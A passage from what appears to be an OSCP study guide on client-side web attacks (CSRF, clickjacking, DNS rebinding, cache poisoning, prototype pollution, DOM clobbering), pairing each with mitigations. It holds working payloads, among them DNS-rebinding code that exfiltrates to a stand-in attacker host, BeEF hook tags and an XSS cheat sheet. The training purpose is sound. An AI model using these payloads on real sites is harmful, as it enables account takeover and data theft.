        document.forms[0].submit();
    </script>
</form>

XMLHttpRequest CSRF:

// Attacker's page
const xhr = new XMLHttpRequest();
xhr.open('POST', 'https://target.com/api/change-email', true);
xhr.withCredentials = true;
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('email=attacker@evil.com');

14.5 CSRF Token Bypass Techniques

Technique Description
Token prediction Weak token generation (sequential, MD5)
Token reflection Token reflected in response, reusable
Token absence Some endpoints lack token validation
Referer-based Token derived from Referer header
Cookie-based token Token stored in cookie, auto-sent
Missing validation Token present but not validated
CORS abuse Cross-origin request with valid token
Blind CSRF No feedback, but action still executes

14.6 CSRF Detection

Manual Testing:

  1. Identify state-changing operations
  2. Check for anti-CSRF tokens
  3. Verify token is unpredictable
  4. Verify token is validated server-side
  5. Test without token, with wrong token
  6. Check SameSite cookie attribute

Automated Testing:

  • Burp Suite CSRF tokenizer
  • OWASP ZAP CSRF scanner
  • Custom scripts for API endpoints

14.7 CSRF Mitigation

Strategy Effectiveness Description
Anti-CSRF tokens High Unique token per session/form
SameSite cookies High Browser blocks cross-site cookies
Custom headers Medium Requires preflight, blocks simple requests
Referer checking Medium Verify Referer matches origin
CAPTCHA Low UX Breaks automation, hurts UX
Re-authentication High Require password for sensitive actions
Double-submit cookie Medium Token in cookie and parameter

Best Practice Combination:

Anti-CSRF Token + SameSite=Lax + Custom Header Validation

15. Clickjacking and UI Redressing

15.1 What is Clickjacking?

  • Attacker tricks user into clicking something different from what they see
  • Uses transparent or disguised iframes
  • User thinks they’re clicking one thing, but clicks another
  • Also called “UI Redressing”

15.2 Clickjacking Attack Flow

graph TB
    A[Attacker creates page] --> B[Embeds target site in invisible iframe]
    B --> C[Overlays deceptive UI element]
    C --> D[Victim visits attacker page]
    D --> E[Victim sees deceptive UI]
    E --> F[Victim clicks deceptive element]
    F --> G[Click actually hits iframe element]
    G --> H[Unwanted action performed on target site]

15.3 Clickjacking Payload

<!DOCTYPE html>
<html>
<head>
    <title>Win a Free iPhone!</title>
    <style>
        iframe {
            width: 800px;
            height: 600px;
            position: absolute;
            top: 0;
            left: 0;
            opacity: 0;
            z-index: 2;
        }
        .decoy-button {
            position: absolute;
            top: 200px;
            left: 300px;
            width: 200px;
            height: 50px;
            background: red;
            color: white;
            font-size: 24px;
            text-align: center;
            line-height: 50px;
            z-index: 1;
            cursor: pointer;
        }
    </style>
</head>
<body>
    <h1>Congratulations! Click below to claim your prize!</h1>
    <div class="decoy-button">CLICK ME!</div>
    <iframe src="https://target.com/settings/delete-account"></iframe>
</body>
</html>

15.4 Multi-Step Clickjacking

<!-- Requires multiple clicks at specific positions -->
<style>
    iframe {
        opacity: 0;
        position: absolute;
        z-index: 999;
    }
    .step1 { top: 100px; left: 200px; }
    .step2 { top: 300px; left: 400px; }
    .step3 { top: 500px; left: 600px; }
</style>

<!-- Guide user through multiple clicks -->
<div class="step1" onclick="showStep2()">Click here first!</div>
<div class="step2" style="display:none" onclick="showStep3()">Now click here!</div>
<div class="step3" style="display:none">Final click!</div>
<iframe src="https://target.com/multi-step-action"></iframe>

15.5 Right-Click Hijacking

<!-- Capture right-click context menu -->
<iframe src="https://target.com" 
        style="opacity:0; position:absolute; z-index:999;"
        oncontextmenu="return false;">
</iframe>

15.6 Clickjacking Mitigation

Strategy Implementation Effectiveness
X-Frame-Options DENY or SAMEORIGIN High
CSP frame-ancestors frame-ancestors 'self' High
JavaScript detection if (top !== self) top.location = self.location Medium
-webkit-user-select Prevent text selection Low
Pointer events none pointer-events: none on iframe Medium

Recommended Headers:

X-Frame-Options: DENY
Content-Security-Policy: frame-ancestors 'none';

16. DNS Rebinding Attacks

16.1 What is DNS Rebinding?

  • DNS record changes between requests
  • First request resolves to attacker-controlled domain
  • Second request resolves to internal/target IP
  • Browser sees same origin, but different destinations
  • Bypasses Same-Origin Policy for internal networks

16.2 DNS Rebinding Attack Flow

sequenceDiagram
    participant B as Browser
    participant D as DNS Server
    participant A as Attacker Server
    participant I as Internal Target
    
    B->>D: Resolve evil.com
    D->>B: evil.com = attacker.ip
    B->>A: GET http://evil.com/
    A->>B: JS page with rebinding logic
    
    Note over B,D: DNS record changes
    
    B->>D: Resolve evil.com again
    D->>B: evil.com = 192.168.1.1 (internal)
    B->>I: GET http://evil.com/admin
    Note over B,I: Browser thinks same origin!
    I->>B: Internal admin panel response
    B->>A: Data exfiltrated to attacker

16.3 DNS Rebinding Types

Type Description Use Case
Classic rebinding DNS changes between requests Access internal services
Time-delay rebinding TTL-based timing attack Router admin panels
Subdomain rebinding Different subdomains, same origin Target specific services
SSL rebinding With valid certificates Bypass HTTPS checks

16.4 DNS Rebinding Payload

// Attacker's page at http://evil.com/
// DNS for evil.com will change to internal IP

function rebindingAttack() {
    // Wait for DNS to change
    setTimeout(() => {
        // Now evil.com resolves to internal IP
        fetch('http://evil.com/admin/config')
            .then(r => r.text())
            .then(data => {
                // Exfiltrate internal data
                const img = new Image();
                img.src = 'http://attacker-collector.com/steal?data=' + 
                    encodeURIComponent(data);
            });
    }, 5000);
}

// Try multiple internal IPs
const targets = [
    'http://evil.com:8080/admin',
    'http://evil.com:8443/manager',
    'http://evil.com/api/internal',
];

targets.forEach(url => {
    fetch(url, {mode: 'same-origin'})
        .then(r => r.text())
        .then(data => exfiltrate(url, data))
        .catch(() => {});
});

16.5 DNS Rebinding Mitigation

Strategy Description
Hostname validation Verify Host header matches expected value
IP allowlisting Only accept requests from known IPs
DNS pinning Cache DNS resolution for session
Internal network isolation No direct internet access for internal services
Reverse proxy Terminate external traffic at proxy
CNAME record blocking Block CNAME-based rebinding

17. Web Cache Poisoning

17.1 What is Web Cache Poisoning?

  • Attacker injects malicious content into a web cache
  • Cached content is served to subsequent victims
  • Exploits how caches key and store responses
  • One attack, many victims (like stored XSS but in cache)

17.2 Cache Poisoning Attack Flow

sequenceDiagram
    participant A as Attacker
    participant C as Web Cache
    participant S as Server
    
    A->>C: GET /page<br>X-Custom: <script>alert(1)</script>
    C->>S: Forward request (with custom header)
    S->>C: Response reflects header value in body
    C->>C: Cache response keyed on<br>URL + custom header
    Note over C: If header not in cache key,<br>response cached for all
    
    participant V as Victim
    V->>C: GET /page (no custom header)
    C->>V: Serve poisoned cached response
    V->>V: Malicious script executes

17.3 Cache Poisoning Techniques

Technique Description
Header injection Inject via custom request header
Query string poisoning Poison via URL parameter
Path-based poisoning Poison via URL path segment
Cookie-based poisoning Poison via cookie value
Accept-header poisoning Poison via Accept header
Host header poisoning Poison via Host header

17.4 Cache Poisoning Example

# Attacker's request
GET /search HTTP/1.1
Host: target.com
X-Cache-Key: <script>alert('Cache Poisoned')</script>

# If server reflects X-Cache-Key in response
# and cache doesn't use it as part of cache key
# All subsequent requests get the poisoned response

Burp Suite Cache Poisoning Test:

1. Send request with custom header via Repeater
2. Check if header value appears in response
3. Check cache headers (Cache-Control, Vary)
4. If Vary doesn't include the header, poisoning possible
5. Request same URL without custom header
6. If poisoned response returned, cache is vulnerable

17.5 Cache Poisoning Mitigation

Strategy Description
Proper Vary headers Include all influential headers in Vary
Cache key normalization Normalize all cache keys consistently
Input validation Validate and sanitize all inputs
Cache isolation Separate caches per tenant/user
Short TTL Use short cache times for dynamic content
Bypass for sensitive Don’t cache authenticated responses

18. Prototype Pollution

18.1 What is Prototype Pollution?

  • JavaScript objects inherit from Object.prototype
  • Attacker adds properties to Object.prototype
  • All objects inherit the polluted properties
  • Can lead to XSS, RCE, privilege escalation

18.2 How Prototype Pollution Works

// Normal object
const obj = {};
console.log(obj.admin); // undefined

// After prototype pollution
JSON.parse('{"__proto__":{"admin":true}}');
console.log({}).admin; // true — ALL objects now have admin=true

// Via constructor.prototype
const obj = {};
obj.constructor.prototype.isAdmin = true;
console.log({}).isAdmin; // true

18.3 Pollution Vectors

Vector Payload Method
__proto__ {"__proto__":{"admin":true}} JSON parse
constructor.prototype obj.constructor.prototype.x=1 Direct assignment
prototype Object.prototype.x=1 Direct assignment
Merge functions Deep merge with malicious input Library function
Lodash merge _.merge({}, JSON.parse(payload)) Library abuse
jQuery extend $.extend(true, {}, payload) Library abuse

18.4 Prototype Pollution to XSS

// Pollute Array.prototype.join
JSON.parse('{"__proto__":{"join":"alert(1)"}}');

// When any array is joined as string
[1,2,3].join(); // Executes alert(1)!

// Pollute toString
JSON.parse('{"__proto__":{"toString":"function(){alert(1)}"}}');

// Pollute valueOf
JSON.parse('{"__proto__":{"valueOf":"function(){alert(1)}"}}');

18.5 Prototype Pollution Detection

// Check if prototype is polluted
console.log({}.polluted); // Should be undefined
console.log(Object.prototype.polluted); // Should be undefined

// Check common pollution targets
const checks = ['admin', 'isAdmin', 'role', 'permissions', 'join', 'toString'];
checks.forEach(prop => {
    if (Object.prototype.hasOwnProperty(prop)) {
        console.warn(`Prototype polluted: ${prop}`);
    }
});

18.6 Prototype Pollution Mitigation

Strategy Implementation
Freeze prototype Object.freeze(Object.prototype)
Null prototype Object.create(null)
Schema validation Validate input against schema
Avoid unsafe merge Use safe merge implementations
Property checks Check for __proto__ in input
Library updates Keep lodash, jQuery updated

19. DOM Clobbering

19.1 What is DOM Clobbering?

  • HTML element id or name attributes create global variables
  • Attacker controls these attributes to clobber JS variables
  • Clobbered variables change application behavior
  • Works because browsers expose DOM elements as window properties

19.2 How DOM Clobbering Works

<!-- This HTML creates global variables -->
<a id="username">clobbered</a>
<!-- Now window.username === <a id="username">clobbered</a> -->

<!-- This clobbers a variable used by JS -->
<script>
    // If app.js does:
    var config = window.config || {debug: false};
    // Attacker clobbers:
</script>
<a id="config"><a id="debug">true</a></a>
<!-- Now window.config.debug === "true" -->

19.3 DOM Clobbering Attack Flow

graph LR
    A[Attacker controls HTML] --> B[Sets id/name attributes]
    B --> C[Browser creates global vars]
    C --> D[App JS reads global vars]
    D --> E[Behavior changes unexpectedly]
    E --> F[XSS / RCE / Logic bypass]

19.4 DOM Clobbering Examples

<!-- Clobber a configuration object -->
<div id="config">
    <div id="apiUrl">http://attacker.com/api</div>
    <div id="debug">true</div>
</div>

<!-- Clobber an array -->
<div id="items">
    <span>item1</span>
    <span>item2</span>
</div>
<!-- window.items becomes a NodeList -->

<!-- Clobber via name attribute (forms) -->
<form id="config">
    <input name="debug" value="true">
</form>

<!-- Clobber via nested naming -->
<a id="window"><a id="location">http://attacker.com</a></a>

19.5 DOM Clobbering to XSS

<!-- If app does: eval(window.config.endpoint) -->
<a id="config"><a id="endpoint">alert(document.cookie)</a></a>

<!-- If app does: document.write(window.user.name) -->
<a id="user"><a id="name"><img src=x onerror=alert(1)></a></a>

<!-- If app does: import(window.modules.auth) -->
<a id="modules"><a id="auth">javascript:alert(1)</a></a>

19.6 DOM Clobbering Mitigation

Strategy Implementation
Avoid global scope Use let/const instead of var
Use modules ES modules don’t pollute global scope
Validate DOM Check for unexpected global variables
Use use strict Prevents some clobbering effects
Shadow DOM Isolate DOM from global scope
Input sanitization Sanitize HTML before injection

20. Tools Overview

20.1 Tool Comparison Matrix

Tool Type Primary Use Strengths Weaknesses
Burp Suite Proxy/Scanner Full web app testing Comprehensive, integrated Paid for Pro features
XSStrike CLI Scanner XSS detection Auto-bypass, accurate XSS only
Dalfox CLI Scanner XSS/fuzzing Fast, modular CLI only
BeEF Framework Browser exploitation Hook control, modules Requires initial XSS
OWASP ZAP Proxy/Scanner Full web app testing Free, open source Less polished than Burp
Commix CLI Scanner Command injection Auto-detection CLI only
NoSQL Map CLI Scanner NoSQL injection Specialized Narrow scope

20.2 Burp Suite for Client-Side Attacks

Key Features:

Feature Use Case
Proxy Intercept and modify requests
Repeater Manual request manipulation
Intruder Automated payload testing
Scanner Automated vulnerability scanning
Decoder Encode/decode payloads
Comparer Compare responses
Sequencer Analyze token randomness
DOM Inspector Analyze client-side code

Burp Suite XSS Workflow:

1. Configure browser to use Burp proxy (127.0.0.1:8080)
2. Browse target application
3. Identify input points in Proxy history
4. Send suspicious parameters to Repeater
5. Test XSS payloads manually
6. Use Intruder for automated payload testing
7. Use Scanner for comprehensive analysis
8. Document findings with screenshots

Intruder XSS Payload Sets:

# Burp Intruder attack types:
- Sniper: One payload position, iterate through list
- Battering Ram: One payload position, all payloads at once
- Pitchfork: Multiple positions, iterate in parallel
- Cluster Bomb: Multiple positions, all combinations

# Recommended payload lists:
- Burp's built-in XSS payload list
- XSS Payloads by PayloadsAllTheThings
- Custom polyglot payloads

20.3 XSStrike

Installation:

pip install xsstrike
# or
git clone https://github.com/s0md3v/XSStrike
cd XSStrike
pip install -r requirements.txt

Usage:

# Basic scan
xsstrike -u "http://target.com/search?q=test"

# With specific parameter
xsstrike -u "http://target.com/search" -p "q"

# With custom payload
xsstrike -u "http://target.com/search?q=test" --payload="alert(1)"

# Skip WAF detection
xsstrike -u "http://target.com/search?q=test" --skip-waf

# Wildcard mode (test all parameters)
xsstrike -u "http://target.com/search?q=test&id=1" -wildcard

# Background mode
xsstrike -u "http://target.com/search?q=test" -bg

Features:

  • Automatic parameter discovery
  • WAF detection and bypass
  • AST-based analysis
  • Wildcard mode for all parameters
  • Background scanning
  • Role-based payload selection

20.4 Dalfox

Installation:

# Go install
go install github.com/hahwul/dalfox/v2@latest

# Or download binary
# https://github.com/hahwul/dalfox/releases

Usage:

# Basic scan
dalfox url "http://target.com/search?q=test"

# With options file
dalfox file urls.txt -o output.txt

# With custom module
dalfox url "http://target.com/search?q=test" -m "xss,dom"

# With proxy
dalfox url "http://target.com/search?q=test" -proxy "http://127.0.0.1:8080"

# Batch mode
dalfox batch "http://target.com/search?q=FUZZ" -w payloads.txt

# With frequency analysis
dalfox url "http://target.com/search?q=test" -freq

Features:

  • Fast and lightweight
  • Modular architecture
  • DOM XSS detection
  • Frequency analysis
  • Batch processing
  • Proxy integration

20.5 BeEF (The Browser Exploitation Framework)

Installation:

git clone https://github.com/beefproject/beef
cd beef
sudo ./beef

Usage:

1. Start BeEF: sudo ./beef
2. Default credentials: beefso / beefso
3. Access UI: http://127.0.0.1:3000/ui/panel
4. Get hook URL: http://<attacker-ip>:3000/hook.js
5. Inject hook via XSS: <script src=http://attacker:3000/hook.js></script>
6. When victim loads page, browser appears in BeEF UI
7. Execute modules against hooked browser

BeEF Modules:

Category Modules
Information Gathering Browser info, OS detection, network info
Social Engineering Fake updates, phishing, clipboard
DOM Manipulation Clickjacking, keylogging, screen capture
Network Attacks DNS rebinding, port scanning
Persistence Cookie manipulation, local storage
Exploitation Browser exploits, plugin exploits

BeEF Hook Payload:

<!-- Inject this via XSS to hook the browser -->
<script src="http://attacker-ip:3000/hook.js"></script>

<!-- Minimal hook -->
<script src=http://attacker-ip:3000/hook.js></script>

<!-- Hidden hook -->
<iframe src="javascript:'<script src=http://attacker-ip:3000/hook.js><\/script>'"></iframe>

20.6 Additional Tools

Tool Purpose Command
curl Manual request testing curl -X GET "url?param=<script>"
nmap Port scanning nmap -sV target.com
gobuster Directory brute force gobuster dir -u http://target -w words.txt
ffuf Fuzzing ffuf -u http://target/FUZZ -w words.txt
sqlmap SQL injection sqlmap -u "url?param=test" --risk=3
nikto Web server scanner nikto -h http://target
whatweb Technology detection whatweb http://target

Appendix A: Quick Reference Cheat Sheet

XSS Payload Quick Reference

<!-- Top 10 XSS Payloads -->
1. <script>alert(1)</script>
2. <img src=x onerror=alert(1)>
3. <svg onload=alert(1)>
4. <body onload=alert(1)>
5. <input onfocus=alert(1) autofocus>
6. <details open ontoggle=alert(1)>
7. <marquee onstart=alert(1)>
8. <video><source onerror=alert(1)>
9. <iframe src=javascript:alert(1)>
10. <a href=javascript:alert(1)>click</a>

Event Handler Quick Reference

<!-- Mouse events -->
onclick, ondblclick, onmousedown, onmouseup, onmouseover, onmousemove, onmouseout

<!-- Keyboard events -->
onkeydown, onkeypress, onkeyup

<!-- Form events -->
onsubmit, onreset, onselect, onchange, oninput, onfocus, onblur

<!-- Window/document events -->
onload, onunload, onbeforeunload, onresize, onscroll, onerror

<!-- Media events -->
onplay, onpause, onended, onvolumechange, onseeked

<!-- Animation events -->
onanimationstart, onanimationend, onanimationiteration, ontransitionend

<!-- Clipboard events -->
oncopy, oncut, onpaste

<!-- Drag events -->
ondrag, ondragend, ondragenter, ondragleave, ondragover, ondragstart, ondrop

HTTP Headers for Security

# Response headers to check/set
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Security-Policy: default-src 'self'; script-src 'self'
Strict-Transport-Security: max-age=31536000; includeSubDomains
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: geolocation=(), camera=(), microphone=()

# Cookie attributes
Set-Cookie: session=abc; Path=/; Domain=.example.com; Secure; HttpOnly; SameSite=Strict

Appendix B: Methodology Checklist

Client-Side Attack Testing Checklist

Information Gathering:

  • Map all input vectors (URL params, headers, cookies, body)
  • Identify all output locations in responses
  • Review client-side JavaScript files
  • Check for CSP headers
  • Check cookie attributes (HttpOnly, Secure, SameSite)

XSS Testing:

  • Test reflected XSS on all parameters
  • Test stored XSS on all user input fields
  • Test DOM-based XSS in client-side JS
  • Try filter bypass techniques
  • Test SVG upload XSS
  • Test data URI XSS
  • Test event handler XSS

CSRF Testing:

  • Identify all state-changing operations
  • Check for anti-CSRF tokens
  • Test token bypass techniques
  • Check SameSite cookie attribute
  • Test blind CSRF scenarios

Clickjacking Testing:

  • Check X-Frame-Options header
  • Check CSP frame-ancestors directive
  • Test iframe embedding
  • Test multi-step clickjacking

Advanced Testing:

  • Test WebSocket security
  • Test prototype pollution vectors
  • Test DOM clobbering
  • Test web cache poisoning
  • Test DNS rebinding potential
  • Test browser extension interactions

Post-Exploitation:

  • Attempt cookie theft
  • Attempt session hijacking
  • Attempt keylogging
  • Attempt credential harvesting
  • Document all findings

Appendix C: Learning Resources

Resource Type Focus
PortSwigger Web Security Academy Free courses All web vulnerabilities
OWASP Testing Guide Documentation Comprehensive testing
PayloadsAllTheThings GitHub repo Payload collection
XSS Cheat Sheet Reference XSS payloads
BeEF Documentation Documentation Browser exploitation
MDN Web Docs Documentation Web standards
HackerOne Hacktivity Blog Real-world reports

End of Chapter 08: Client-Side Attacks

This guide covers the essential client-side attack vectors for OSCP preparation. Practice each technique in legal lab environments. Always obtain proper authorization before testing.